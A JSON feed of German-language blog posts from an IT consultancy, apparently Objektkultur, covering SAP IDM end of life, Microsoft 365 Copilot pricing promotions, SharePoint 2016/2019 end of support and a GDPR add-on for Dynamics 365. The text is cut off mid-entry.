









































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































[{"categories":["Insights"],"contents":"Das Thema SAP IDM End of Life ist längst keine Zukunftsfrage mehr, sondern eine akute Herausforderung für Unternehmen mit SAP-Landschaften. Spätestens mit dem angekündigten Support-Ende im Jahr 2027 stehen Organisationen vor einer klaren Entscheidung: Weiterbetrieb mit steigenden Risiken – oder eine strategisch geplante SAP-IDM-Migration in eine moderne, zukunftssichere Identitätsplattform.\nAls Nachfolger empfiehlt SAP die Migration zur Cloud-Lösung Microsoft Entra ID , für welche es spezifische SAP-Integrationen und Migrationspfade gibt.\nSo gelingt die SAP-IDM-Migration Was bedeutet SAP IDM End of Life konkret? Mit dem Auslaufen des Supports für SAP Identity Management (SAP IDM) endet eine Ära klassischer On-Premise-Identitätslösungen. Bis Ende 2027 wird SAP noch regulären Support leisten, danach bleibt lediglich eine kostenpflichtige Übergangsphase bis 2030 – ohne echte Weiterentwicklung oder Innovation.\nDas Besondere: SAP stellt kein direktes Nachfolgeprodukt bereit. Stattdessen wird der Weg in Richtung Cloud- und hybrider Identitätslösungen vorgegeben.\nFür Unternehmen bedeutet das:\nsteigende Sicherheitsrisiken ohne regelmäßige Updates zunehmende Integrationsprobleme in modernen IT-Landschaften wachsender Druck durch Compliance- und Governance-Anforderungen Warum ist eine SAP-IDM-Migration unvermeidlich? Die SAP-IDM-Migration ist nicht nur eine technische Notwendigkeit – sie ist ein strategischer Wendepunkt für die gesamte IT-Architektur. Moderne Unternehmen arbeiten heute in hybriden Systemlandschaften mit Cloud-Anwendungen, APIs und externen Services. Klassische IDM-Systeme stoßen hier schnell an ihre Grenzen.\nEine frühzeitige Migration bietet entscheidende Vorteile:\nErhöhte Sicherheit: Moderne IDM-Lösungen bieten Zero-Trust-Ansätze und kontinuierliche Überwachung Bessere Integration: Nahtlose Anbindung von Cloud- und SaaS-Systemen Kosteneffizienz: Wegfall teurer Legacy-Strukturen und Wartungsverträge Zukunftsfähigkeit: Unterstützung neuer Technologien und Geschäftsmodelle Wer hingegen zu lange wartet, riskiert steigende Kosten, Zeitdruck und Projektengpässe – insbesondere, da große Migrationen oft 18 bis 36 Monate dauern können.\nDer empfohlene Weg: Migration in die Cloud SAP selbst empfiehlt als strategische Zielplattform cloudbasierte Identitätslösungen wie Microsoft Entra ID. Diese bieten eine zentrale Verwaltung von Identitäten, moderne Authentifizierungsverfahren (z. B. MFA, Conditional Access) und eine Integration in bestehende Microsoft- und SAP-Ökosysteme.\nDurch die enge Partnerschaft zwischen SAP und Microsoft existieren bereits erprobte Migrationspfade und Best Practices.\nSo gelingt die SAP-IDM-Migration Erfolgsfaktoren für eine reibungslose SAP-IDM-Migration Eine erfolgreiche Transformation hängt nicht nur von der Technologie ab, sondern vor allem von der richtigen Strategie. Entscheidend sind:\nFrühzeitige Planung: Je früher Unternehmen starten, desto mehr Handlungsspielraum bleibt – insbesondere für Tests, Pilotprojekte und Optimierungen.\nAnalyse der bestehenden Prozesse: Identity Lifecycle-Prozesse wie Joiner, Mover, Leaver müssen sauber analysiert und ggf. neu gedacht werden.\nProof of Concept (PoC): Ein PoC hilft, Risiken zu minimieren und die Zielarchitektur realistisch zu validieren.\nSchrittweise Umsetzung: Eine Migration sollte idealerweise in Phasen erfolgen, um den laufenden Betrieb nicht zu gefährden.\nDas SAP IDM End of Life zwingt Unternehmen zum Handeln – eröffnet aber gleichzeitig die Chance, das eigene Identity \u0026amp; Access Management grundlegend zu modernisieren. Statt lediglich ein altes System zu ersetzen, können Unternehmen Prozesse automatisieren, Sicherheitsstandards erhöhen und die Benutzererlebnisse verbessern. Das gibt die Chance, die gesamte IT-Strategie neu auszurichten.\nFazit: Jetzt ist der richtige Zeitpunkt für die SAP-IDM-Migration Die Kombination aus festem Enddatum, wachsender Komplexität und strategischem Wandel macht deutlich: Die SAP-IDM-Migration sollte nicht aufgeschoben werden. Unternehmen, die jetzt handeln, können so von nachhaltigen Wettbewerbsvorteilen profitieren.\nObjektkultur bringt praktische Projekterfahrung aus komplexen Identity-\u0026amp;-Access-Management-Transformationen mit, wie z.B. die Integration von SAP-Systemen und Microsoft Entra. Dabei konnten Prozesse automatisiert, die Datenqualität verbessert und eine skalierbare Zielarchitektur geschaffen werden. Wir kennen somit nicht nur die Theorie, sondern haben vergleichbare Migrationsszenarien bereits erfolgreich realisiert.\nGerade bei der Ablösung von SAP IDM ist technologisches Schnittstellenwissen entscheidend. Wir verbinden SAP-Integrationserfahrung mit Expertise in Microsoft-Technologien wie Entra ID sowie Know-how in hybriden und Cloud-Architekturen. Diese Kombination ist besonders wichtig, da SAP selbst keinen direkten IDM-Nachfolger bereitstellt und Unternehmen häufig auf hybride Zielarchitekturen setzen müssen.\nSo gelingt die SAP-IDM-Migration ","date":"30. April 2026","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/sap-idm-migration_hua89a23b69f662c650c4b7579ff305628_398716_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/sap-idm-migration_hua89a23b69f662c650c4b7579ff305628_398716_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/sap-idm-end-of-life-wie-eine-erfolgreiche-migration-zu-microsoft-entra-id-gelingt/","tags":["idm"],"title":"SAP IdM End of Life - Wie eine erfolgreiche Migration zu Microsoft Entra ID gelingt"},{"categories":["Insights"],"contents":" Künstliche Intelligenz ist längst kein Zukunftsthema mehr. Immer mehr Unternehmen integrieren AI-Tools in ihre täglichen Arbeitsprozesse, um Produktivität zu steigern, Entscheidungen schneller zu treffen und Mitarbeitende zu entlasten. Mit Microsoft 365 Copilot steht Unternehmen inzwischen eine der leistungsfähigsten KI-Lösungen für den digitalen Arbeitsplatz zur Verfügung. Microsoft treibt die Einführung aktuell aktiv voran – unter anderem mit zeitlich begrenzten Promotions, neuen Sicherheitsfunktionen und erweiterten Trainingsangeboten. Für Unternehmen bedeutet das: Jetzt ist ein strategisch günstiger Zeitpunkt, um Copilot im Unternehmen einzuführen.\nInhalte 1. Warum KI im Unternehmen zum entscheidenden Wettbewerbsfaktor wird 2. Was Microsoft 365 Copilot im Arbeitsalltag tatsächlich leisten kann 3. Neue Copilot-Angebote 2026: Wie Unternehmen aktuell Kosten sparen können 4. Sicherheit und Datenschutz bei der Nutzung von KI 5. Erfolgreiche Copilot-Praxisbeispiele aus Unternehmen 6. Warum Schulung und Change Management entscheidend für den Erfolg von KI in Unternehmen sind 7. Wie Unternehmen den Einstieg in Microsoft Copilot strategisch planen sollten 8. Fazit: Warum jetzt der richtige Zeitpunkt für Copilot ist 1. Warum KI im Unternehmen zum entscheidenden Wettbewerbsfaktor wird Viele Unternehmen haben KI bereits eingeführt und nutzen es täglich, um ihre Prozesse zu automatisieren, den Aufwand von Routineaufgaben zu minimieren und die Mitarbeitenden zu entlasten. Diese Unternehmen haben das Potenzial von KI erkannt und Künstliche Intelligenz bereits tief in ihre Geschäftsmodelle integriert. Durch unsere Erfahrung aus diversen Kundenprojekten sind wir uns sicher, dass Unternehmen, die sich mit dem Thema KI beschäftigen und auf solche Zukunftstechnologien setzen, langfristig wettbewerbsfähiger sein werden und sich besser gegen die Konkurrenz behaupten können.\nStudien zeigen bereits heute deutliche Effekte durch den Einsatz von KI in Unternehmen:\nKI steigert Produktivität und Wert von Beschäftigten deutlich: In stark betroffenen Branchen (z. B. Finanzdienstleistungen, Software-Publishing) hat sich das Produktivitätswachstum seit 2022 fast vervierfacht.1 Im Rahmen der KI-Studie von IBM berichten 47 % (von 2.413 IT-Entscheidungsträgern aus 12 Ländern) von positiven ROI durch KI-Investitionen.2 Produktivität und Profitabilität sind zentrale KI-ROI-Treiber: In der KPMG-Studie nennen 79 % der befragten C-Suite-Führungskräfte Produktivität als wichtigste ROI-Metrik, 73 % berichten von steigender Profitabilität durch KI.3 Weitere Vorteile, die durch den Einsatz von KI in Unternehmen beobachtet werden können, sind u. a. eine effizientere Kommunikation im Team, bessere Entscheidungsgrundlagen, schnellere Datenanalyse und ein reduzierter Zeitaufwand für Routineaufgaben. Jedoch gibt es noch einige Unternehmen, die KI noch nicht als unterstützendes Tool in ihrem Unternehmen nutzen und aktuell vor der zentralen Frage stehen: Wie lässt sich künstliche Intelligenz sinnvoll in bestehende Arbeitsprozesse integrieren?\nJe nach Ziel und Anwendungsfall gibt es unterschiedliche Möglichkeiten und Technologien für die Einführung von KI, die individuell abgestimmt werden sollten. Grundsätzlich ist es für Unternehmen aber immer sinnvoll, KI direkt in bestehende Arbeitswerkzeuge zu integrieren, anstatt als separate Plattform einzurichten.\nFür Unternehmen, die sich bereits in der Microsoft-Welt bewegen und Microsoft 365 nutzen ist Microsoft 365 Copilot eine optimale Lösung. Copilot arbeitet dabei direkt in der jeweiligen Anwendung (wie z. B. Word, Excel, Outlook oder Teams), die Unternehmen ohnehin täglich nutzen.\nDamit wird künstliche Intelligenz zu einem integrierten Bestandteil des digitalen Arbeitsplatzes.\nHier erfahren Sie außerdem mehr zu den unterschiedlichen KI-Lösungen von Microsoft wie Copilot Studio, Microsoft Foundry, Azure AI Services oder Azure Machine Learning. 2. Was Microsoft 365 Copilot im Arbeitsalltag tatsächlich leisten kann Viele Unternehmen verbinden KI noch immer hauptsächlich mit Chatbots oder Textgeneratoren. Microsoft Copilot geht aber deutlich weiter. Der AI-Assistent greift auf Unternehmensdaten, Dokumente und Meetings zu und unterstützt Mitarbeitende beispielsweise bei:\nDokumentenerstellung: Copilot erstellt Entwürfe für Berichte, Präsentationen oder Konzepte direkt in Microsoft Word und PowerPoint. Datenanalyse: In Excel kann Copilot große Datenmengen analysieren, Trends erkennen und automatisch Visualisierungen erstellen. Meeting-Zusammenfassungen: In Microsoft Teams erstellt Copilot automatisch Zusammenfassungen von Meetings, Aufgabenlisten und To-Dos. E-Mail-Automatisierung: In Outlook formuliert Copilot Antworten, fasst lange E-Mail-Threads zusammen und priorisiert wichtige Nachrichten. Der Vorteil für Sie: Ihre Mitarbeitende sparen täglich mehrere Stunden Routinearbeit -\u0026gt; langfristige Zeit- und Kosteneffizienz\n3. Neue Copilot-Angebote 2026: Wie Unternehmen aktuell Kosten sparen können Microsoft fördert derzeit aktiv die Einführung von Microsoft 365 Copilot im Mittelstand. Dafür stehen bis 31. März 2026 mehrere Promotions zur Verfügung, die insbesondere für Unternehmen mit 1 bis 300 Nutzern interessant sind.\nDiese Angebote senken nicht nur die Kosten für Copilot selbst, sondern ermöglichen gleichzeitig vergünstigte Microsoft 365 Lizenzen, wenn Copilot zusammen mit einem Business-Plan eingesetzt wird.\nVereinfacht gesagt heißt das: Unternehmen können aktuell gleichzeitig KI einführen und ihre bestehende Microsoft-365-Umgebung günstiger beziehen.\nAktuelle Copilot Business Angebote Lizenzmodell Preis Ursprünglicher Preis Aktueller Preis (bis 31.03.26) Microsoft 365 Copilot Business 18,20 €\npro User/Monat 15,60 €\npro User/Monat (ca. 15 % Rabatt) Microsoft 365 Business Standard + Copilot 29,00 €\npro User/Monat 19,04 €\npro User/Monat (ca. 15 % Rabatt) Microsoft 365 Business Premium + Copilot 37,30 €\npro User/Monat 27,76 €\npro User/Monat (ca. 25 % Rabatt) Abb. 1: Aktuelle Copilot Business Angebote Diese Angebote erleichtern besonders kleinen und mittelständischen Unternehmen den Einstieg in KI-gestützte Produktivitätstools.\nGerade auch für Unternehmen, die ohnehin eine Modernisierung ihrer Microsoft-365-Umgebung planen, entsteht dadurch ein zusätzlicher Vorteil.\n4. Sicherheit und Datenschutz bei der Nutzung von KI Ein häufiges Thema, das Unternehmen bei der KI-Einführung Sorgen bereitet, ist die Frage nach Datenschutz und Sicherheit – und das zurecht.\nDiesbezüglich können wir Sie aber beruhigen. Microsoft hat Copilot bewusst so entwickelt, dass Unternehmensdaten geschützt bleiben.\nWichtige Sicherheitsprinzipien sind dabei u. a.:\nCopilot greift nur auf Daten zu, für die Mitarbeitende bereits Zugriffsrechte besitzen Unternehmensdaten werden nicht zum Training der KI-Modelle verwendet Compliance- und Governance-Funktionen können über Microsoft Purview individuell gesteuert werden Für Unternehmen bedeutet das also: Copilot lässt sich in bestehende Microsoft-Security-Strukturen integrieren und somit können Datenschutz- und Sicherheitsrichtlinien gewährleitet werden.\n5. Erfolgreiche Copilot-Praxisbeispiele aus Unternehmen Immer mehr Organisationen setzen Copilot bereits produktiv ein.\nHier einige Beispiele, wie KI mit dem Copilot in unterschiedlichen Use-Cases eingesetzt werden können:\nBildungseinrichtungen: Hochschulen nutzen Copilot zur Erstellung von Lehrmaterialien und zur Automatisierung administrativer Prozesse. Steuer- und Beratungsunternehmen: Ein Accounting-Unternehmen verwendet Copilot zur Analyse von Finanzdaten und zur automatisierten Berichtserstellung. Internationale Consulting-Organisationen: Beratungsunternehmen nutzen Copilot als internes Wissenssystem, das Projektteams bei Recherche und Dokumentation unterstützt. Hier erfahren Sie mehr über ein Kundenprojekt, bei dem wir für eine der größten Messegesellschaften weltweit eine zentrale KI-Plattform und einen HR-Agent entwickelt haben. Erfahren Sie auch, wie erfolgreiche Unternehmen wie Goldbeck KI in der Baubranche einsetzen. So haben unsere Experten beispielsweise einen skalierbaren Chatbot für Goldbeck entwickelt. 6. Warum Schulungen und Change Management entscheidend für den Erfolg von KI in Unternehmen sind Eine der wichtigsten Erkenntnisse aus bisherigen Copilot-Projekten ist unserer Meinung nach, dass der Erfolg nicht nur von der Technologie abhängt. Entscheidend ist vielmehr, dass Mitarbeitende lernen, KI effektiv im Arbeitsalltag zu nutzen.\nTypische Herausforderungen in Unternehmen sind oft Unsicherheit im Umgang mit KI, fehlende Kenntnisse über Prompting und Funktionalitäten oder unklare Anwendungsfälle im Arbeitsalltag.\nStrukturierte Copilot-Trainings und Workshops können hier wahre Wunder vollbringen und solche Risiken beseitigen. Mitarbeitende lernen in solchen Schulungen nämlich beispielsweise:\nwie sie Copilot effizient einsetzen wie gute Prompts formuliert werden müssen welche Prozesse besonders gut automatisiert werden können bzw. welche alltäglichen Aufgaben sich mit KI besonders gut lösen lassen Eine gute Schulung ist also wirklich nicht zu unterschätzen und kann den ROI der Copilot-Einführung deutlich steigern.\nSie haben Interesse an einer Schulung zu Microsoft Copilot für Ihre Mitarbeitenden? Dann buchen Sie hier eine maßgeschneiderte Schulung mit unseren Expertinnen und Experten! 7. Wie Unternehmen den Einstieg in Microsoft Copilot strategisch planen sollten Die Einführung von KI im Unternehmen sollte strukturiert und mit einem guten Plan erfolgen. Was genau heißt das? Hier ein bewährter (vereinfachter!) Ansatz:\nAnalyse der Arbeitsprozesse: Identifizieren Sie Bereiche mit hohem Automatisierungspotenzial z. B. Dokumentenerstellung, Reporting, Kommunikation, Wissensmanagement etc. Pilotphase mit ausgewählten Teams: Starten Sie Copilot zunächst in kleineren Teams, um erste Erfahrungen \u0026amp; Learnings zu sammeln. Schulung und Skalierung: Durch Trainings und Best Practices können Mitarbeitende optimal geschult werden und Copilot kann anschließend im gesamten Unternehmen ausgerollt werden. Wie schon erwähnt, ist dies eine sehr vereinfachte Darstellung zur Vorgehensweise. Wichtig ist natürlich u. a. auch das Beachten von Compliance \u0026amp; Datenschutz sowie weiteren individuellen Anwendungsanforderungen, um technische und organisatorische Risiken zu minimieren.\nErfahren Sie hier mehr über den effizienten KI-Einsatz in Unternehmen und erhalten Sie hier eine detaillierte Vorgehensweise zur Einführung von KI. 8. Fazit: Warum jetzt der richtige Zeitpunkt für Copilot ist Künstliche Intelligenz verändert derzeit grundlegend, wie Unternehmen arbeiten. Prozesse werden automatisiert, Informationen schneller analysiert und Mitarbeitende im Arbeitsalltag gezielt unterstützt. Mit Microsoft 365 Copilot steht erstmals eine KI-Lösung zur Verfügung, die direkt in die tägliche Arbeitsumgebung integriert ist.\nSie möchten wettbewerbsfähig bleiben und endlich auch KI in Ihrem Unternehmen einführen? Dann ist jetzt der optimale Zeitpunkt dafür: Die aktuellen Promotions von Microsoft bis 31. März 2026 erleichtern Ihrem Unternehmen den Einstieg.\nDer Hauptvorteil für Sie: Wenn Sie in Ihrem Unternehmen Copilot zusammen mit bestimmten Microsoft-365-Business-Plänen einsetzen, können aktuell die Microsoft-365-Lizenzen zu reduzierten Preisen bezogen werden. Dadurch lassen sich nicht nur neue KI-Funktionen einführen, sondern gleichzeitig auch die Lizenzkosten optimieren.\nQuellen PwC-Studie: KI sorgt für vierfaches Produktivitätswachstum und 56 % höhere Gehälter, 2025, \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIBM \u0026ldquo;ROI of AI Report\u0026rdquo;, 2024, \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKPMG \u0026ldquo;AI Quarterly Pulse Survey Q4 2024\u0026rdquo;, 2025, \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"2. März 2026","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/angebot-copilot-lizenzen_hu581164e46ef6960732cc6e429ff40aaa_2988444_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/angebot-copilot-lizenzen_hu581164e46ef6960732cc6e429ff40aaa_2988444_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/ki-in-unternehmen-wie-unternehmen-mit-microsoft-365-copilot-kosten-sparen-und-warum-jetzt-der-richtige-zeitpunkt-f%C3%BCr-ki-ist/","tags":null,"title":"KI in Unternehmen: Wie Unternehmen mit Microsoft 365 Copilot Kosten sparen und warum jetzt der richtige Zeitpunkt für KI ist"},{"categories":["Insights"],"contents":"Support-Ende SharePoint 2016 \u0026amp; 2019: Was bedeutet das für Unternehmen? Der Countdown läuft: Am 14. Juli 2026 endet der Support für Microsoft SharePoint Server 2016 und Microsoft SharePoint Server 2019 für tausende Unternehmen in Deutschland. Ab diesem Zeitpunkt stellt Microsoft keine Sicherheitsupdates, Bugfixes/Patches oder technischen Support mehr zur Verfügung.\nWas zunächst wie ein rein infrastrukturelles Thema klingt, betrifft in vielen Unternehmen einen sensiblen Kernbereich: CRM-Prozesse und Customer Operations . SharePoint ist häufig weit mehr als ein Dokumentenmanagementsystem – es ist integraler Bestandteil von Vertriebs-, Service- und Marketingprozessen. In vielen Organisationen ist SharePoint tief in CRM-Systeme wie Microsoft Dynamics 365 sowie in Angebots- und Vertragsprozesse integriert.\nWas bedeutet „End of Life“ konkret? Mit dem offiziellen Support-Ende entfallen:\nSicherheitsupdates und Bugfixes Technischer Support durch Microsoft Compliance- und Zertifizierungsgrundlagen Herstellerverantwortung bei Sicherheitsvorfällen Gerade in Zeiten steigender Cyberbedrohungen und regulatorischer Anforderungen (z. B. NIS2, DORA, ISO 27001) ist der Betrieb einer nicht unterstützten Plattform ein erhebliches Risiko – sowohl technisch als auch haftungsrechtlich. Das SharePoint 2016 Support-Ende und das SharePoint 2019 End of Life sind somit keine reinen Infrastrukturthemen.\nUnternehmen, die keine SharePoint-Migration vor Juli 2026 durchführen, betreiben künftig ein nicht mehr unterstütztes System und riskieren somit erhebliche Sicherheits-, Compliance- und Integrationsprobleme – insbesondere wenn die Zusammenarbeit mit Externen gegeben ist oder wenn Mitarbeitende von außen auf SharePoint zur Bearbeitung von Dateien zugreifen müssen. Ein nicht unterstütztes System gefährdet zentrale Wertschöpfungsprozesse.\nDoch welche Optionen gibt es? Und wie sollten Unternehmen jetzt strategisch vorgehen?\nJetzt beraten lassen, welches Migrationsszenario von SharePoint für Ihr Unternehmen das richtige ist! SharePoint End of Life: Migration zu SharePoint SE oder Microsoft 365 Grundsätzlich gibt es drei Wege:\nMigration auf SharePoint Subscription Edition (SE): Die SharePoint Subscription Edition (SE) ist die Nachfolgeversion für On-Premises-Umgebungen und bietet modernisiertes Update-Modell (kontinuierliche Updates statt Versionssprünge). erweiterte Sicherheitsfunktionen. verbesserte Hybrid-Integration. Diese Option eignet sich besonders für Unternehmen mit klaren On-Premises- oder Hosting-Vorgaben oder sensiblen Datenarchitekturen.\nCloud-Transformation: Migration zu SharePoint Online (Microsoft 365): Mit SharePoint Online innerhalb von Microsoft 365 entstehen neue Möglichkeiten für CRM- und Service-Prozesse und ist die nachhaltigste Lösung. Automatische Sicherheitsupdates Skalierbare Plattform für digitale Kundenprozesse Modern Workplace-Funktionalitäten Nahtlose Integration mit Dynamics 365 , Teams \u0026amp; Power Platform KI-gestützte Funktionen (z. B. Copilot-Integration ) Enge Verzahnung mit CRM- und Power-Plattform-Lösungen Gerade im Zusammenspiel mit CRM-Strategien eröffnet die Cloud-Migration erhebliches Potenzial zur Effizienzsteigerung und Prozessautomatisierung.\nWeitermachen wie bisher – mit hohem Risiko: Natürlich besteht theoretisch die Möglichkeit, SharePoint 2016 oder 2019 über das Support-Ende hinaus zu betreiben, was aber folgende Konsequenzen nach sich ziehen kann. Erhöhtes Sicherheitsrisiko Keine Absicherung bei Cyberangriffen Probleme bei Audits und Compliance-Prüfungen Mögliche Auswirkungen auf Cyber-Versicherungen Technologische Sackgasse Kurz gesagt: Diese Option ist weder strategisch noch wirtschaftlich empfehlenswert und birgt große Risiken.\nRisiken bei ausbleibender SharePoint-Migration Wer das SharePoint End of Life 2026 ignoriert, muss mit erheblichen Folgen rechnen. Veraltete Systeme erhöhen das Risiko für Cyberangriffe und Sicherheitslücken und bedingen womöglich auch Compliance-Verstöße, wenn aktuelle gesetzliche oder unternehmensinterne Anforderungen nicht mehr erfüllt werden. Gleichzeitig entstehen zunehmend Integrationsprobleme mit neuen Microsoft-Versionen und anderen Anwendungen, wodurch Arbeitsprozesse und die Kollaboration erschwert werden.\nUnternehmen riskieren zudem einen Innovationsstopp, da neue Funktionen und technologische Weiterentwicklungen nicht mehr genutzt werden. Langfristig wirkt sich dies auch negativ auf die Customer Experience aus – etwa durch ineffiziente Prozesse, eingeschränkte Services oder langsamere Reaktionszeiten.\nEin Sicherheitsrisiko allein kann die Kosten einer Migration deutlich übersteigen. Deshalb gilt: Je früher Unternehmen handeln, desto gewinnbringender verläuft die Migration. Ein strukturierter Migrationsansatz reduziert Risiken sowie strategische Fehlentscheidungen und schafft Modernisierungspotenzial.\nJetzt beraten lassen, welches Migrationsszenario von SharePoint für Ihr Unternehmen das richtige ist! Empfohlene nächste Projektschritte für eine gelungene SharePoint-Migration Ein professioneller Migrationsansatz umfasst:\nTechnische und prozessuale Bestandsaufnahme:\nAnalyse der bestehenden SharePoint-Anwendungen Sicherheitsbewertung und Risikoanalyse Customizing-Review Strategieentscheidung:\nIntegrationsszenarien (z.B. mit CRM-Systemen) On-Premises (SE), Cloud oder Hybrid? Governance-Modell Architektur- und Zielbild-Definition:\nInformationsarchitektur Berechtigungskonzept Integrationsstrategie und Roadmap Budgetplanung Technische Migration:\nContent-Migration Refactoring von Lösungen Testing und Qualitätssicherung Changemanagement:\nSchulung der Anwender/User Adoption Kommunikationsstrategie (möglichst früh Mitarbeiter einbeziehen!) Adoption-Maßnahmen SharePoint End of Life 2026 als strategische Chance nutzen Ein gut geplantes Migrationsprojekt bietet die Chance, Dokumentenprozesse, Workflows, Kollaborationen etc. neu zu strukturieren, Medienbrüche zu eliminieren und Wissensdatenbanken zu modernisieren. Zudem können automatisierte Freigabeprozesse für Dokumente oder das Vertragsmanagement neu aufgesetzt werden, was mehr Transparenz für kundenbezogene Workflows und moderne Sicherheitsstandards ermöglicht.\nDie SharePoint-Migration kann auch dann sinnvoll sein, wenn bereits andere Tools und Anwendungen in der Cloud laufen, um somit die Integration mit diesen Cloud-Anwendungen zu vereinfachen oder überhaupt zu ermöglichen.\nDas Support-Ende ist somit nicht nur eine technische Notwendigkeit, sondern betrifft die zentrale Wertschöpfungsprozesse rund um Vertrieb, Service und Kundenmanagement. Gerade im Zusammenspiel mit Customer Operations und CRM-Strategien kann eine moderne SharePoint-Architektur nachhaltige Wettbewerbsvorteile schaffen. Richtig angegangen, wird damit aus einem End-of-Life-Projekt ein Modernisierungsprogramm für Ihre Customer Operations. Wer jetzt strategisch handelt, reduziert nicht nur Risiken – sondern schafft die Basis für moderne, integrierte und skalierbare Customer Operations.\nWie Objektkultur bei Ihrer Migration unterstützen kann Als IT-Dienstleister und Spezialist für CRM, Customer Operations und moderne Microsoft-Architekturen begleitet Objektkultur Software GmbH Unternehmen nicht nur bei der technischen Migration, sondern bei der strategischen Weiterentwicklung Ihrer Plattform:\nUnser Anspruch: Nicht nur migrieren, sondern Mehrwert schaffen und Customer Operations zukunftsfähig gestalten.\nSprechen Sie uns an – Wir analysieren Ihre SharePoint-Umgebung und entwickeln gemeinsam eine zukunftssichere Migrationsstrategie. ","date":"19. Februar 2026","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/sharepoint-eol-2026_huf57cebafbb4cccf42f073c103f0a65cd_1915796_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/sharepoint-eol-2026_huf57cebafbb4cccf42f073c103f0a65cd_1915796_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/sharepoint-end-of-life-2026-migration-jetzt-planen-statt-sp%C3%A4ter-reagieren/","tags":["microsoft-365"],"title":"SharePoint End-of-Life 2026 – Migration jetzt planen statt später reagieren"},{"categories":["Insights"],"contents":"Customer-Relationship-Management-Systeme (CRM) wie Microsoft Dynamics 365 sind aus modernen Unternehmen nicht mehr wegzudenken. Sie ermöglichen eine ganzheitliche Sicht auf Kundinnen und Kunden, automatisieren Prozesse und steigern nachhaltig Effizienz und Umsatz. Gleichzeitig wächst jedoch eine zentrale Herausforderung: der datenschutzkonforme Umgang mit immer größeren Datenmengen.\nDatenschutz in Dynamics CRM Mit der zunehmenden Nutzung von CRM-Systemen steigen auch die gespeicherten personenbezogenen Daten kontinuierlich an. Unternehmen stehen dadurch vor mehreren Herausforderungen:\nWachsende Datenmengen und begrenzte Speicherkapazitäten Hohe manuelle Aufwände bei Datenpflege und -löschung Steigende Kosten durch ineffiziente Datenhaltung und teure Lizenzen Komplexe rechtliche Anforderungen durch die DSGVO Ohne Automatisierung geraten Unternehmen schnell in ein Spannungsfeld zwischen steigenden Kosten, rechtlichen Risiken und sinkender Effizienz.\nDynamics 365 und DSGVO Microsoft Dynamics 365 bringt viele Datenschutz-Funktionen mit und je nach unternehmensspezifischen Anforderungen braucht es darüber hinaus individuelle Lösungen. Genau hier setzt unsere Lösung an: Sie erweitert Dynamics 365 um automatisierte, intelligente und revisionssichere Funktionen:\nLösch- und Aufbewahrungsregeln können selbst flexibel bestimmt werden. Speicherkosten für inaktive oder irrelevante Daten werden eingespart. Komplexe manuelle Prozesse für DSGVO-Anfragen können gemeistert werden. Gibt es bereits Standardlösungen für DSGVO-konforme Datenlöschung in Dynamics CRM? Nein. Standardfunktionen reichen nicht aus, um DSGVO-Anforderungen umfassend zu erfüllen. Unser Add-on für Dynamics 365 ist die erste Lösung, die Datenlöschung, Anonymisierung und Compliance durchgängig abdeckt.\nDSGVO-Compliance und Speicheroptimierung für Dynamics CRM - das Add-on Ein zentraler Erfolgsfaktor für DSGVO-Compliance im CRM ist die Automatisierung. Statt Daten manuell zu prüfen und zu löschen, sollten Unternehmen klare Regeln definieren, die System-seitig umgesetzt werden. Wir bieten ein Add-on für Dynamics 365, das vollautomatisch, konfigurierbar und revisionssicher arbeitet.\nDas kann das Add-on für Dynamics:\nIndividuelle Bereinigungsregeln: Unternehmen müssen selbst festlegen können, welche Daten wie lange gespeichert werden und wann sie gelöscht oder anonymisiert werden.\nAutomatisierte Datenaufbewahrung: Durch automatisierte Prozesse lassen sich inaktive oder irrelevante Daten regelmäßig entfernen – ohne manuellen Aufwand. So kann eine DSGVO-Konformität leichter sichergestellt werden.\nTransparente Prozessdokumentation: Alle Prozesse müssen transparent und auditierbar sein, um gesetzlichen Anforderungen gerecht zu werden.\nIntelligente Auslagerung statt Datenverlust: Nicht alle Daten müssen gelöscht werden – eine Auslagerung kann sinnvoll sein, um Speicher zu sparen und dennoch Informationen verfügbar zu halten.\nSie können selbst präzise definieren, welche Daten wie lange aufbewahrt werden – pro Objekt, Status oder Datensatztyp. Ein Beispiel: Kunden-E-Mails bleiben länger erhalten als Anfragen von Interessenten.\nIhr Vorteil: Keine unnötigen Datenverluste und maximale Anpassung an Ihre Compliance-Anforderungen.\nProfitieren Sie jetzt von unserer Datenschutz-Lösung für Dynamics 365! Erfüllt die Lösung die gesetzlichen Vorgaben der DSGVO? Ja, die Funktionen, orientieren sich an den rechtlichen Anforderungen der DSGVO – inklusive revisionssicherer Protokollierung, sodass Sie jederzeit auditfähig bleiben. Ein DSGVO-konformes CRM ist somit nicht nur rechtlich notwendig, sondern auch ein echter Wettbewerbsvorteil.\nWie gestaltet sich der Preis für das Add-on? Sie können selbst entscheiden: Wir bieten Ihnen die Option, unsere Lösung entweder als Abo-Modell mit klar kalkulierbaren Kosten oder als Managed Service nutzen, der sich flexibel an Ihre Bedürfnisse anpasst.\nFazit: 